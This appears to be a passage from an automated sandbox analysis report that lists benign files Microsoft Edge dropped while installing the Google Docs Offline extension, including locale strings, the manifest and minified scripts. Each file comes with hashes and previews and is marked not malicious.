Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\eaf94e86-d463-4a99-ad36-15f62bdf52ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1958260108\28586e00-3e22-4793-8ad3-c1d1af00bf75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1958260108\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
